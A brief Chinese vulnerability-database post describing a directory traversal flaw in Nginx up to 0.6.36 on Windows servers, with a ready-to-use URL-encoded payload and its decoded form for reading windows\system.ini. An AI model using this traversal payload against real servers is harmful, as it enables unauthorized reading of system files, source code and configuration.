Nginx遍历目录0day
- 发表于
- Vulndb
针对版本：<= 0.6.36 测试系统：windows2003服务器 通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。 例子：
http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini
URL解密：
http://localhost/\..\..\..\..\..\..\..\windows\system.ini
原文连接：Nginx遍历目录0day
所有媒体，可在保留署名、
原文连接的情况下转载，若非则不得使用我方内容。
![解决nginx: [error] open() “/usr/local/nginx/logs/nginx.pid” failed (2: No such file or directory)](https://www.uedbox.com/wp-content/themes/UB2019/prcute.php?src=https://www.uedbox.com/wp-content/uploads/2019/09/2019-09-23_13-13-36.png&h=144&w=208&zc=1)
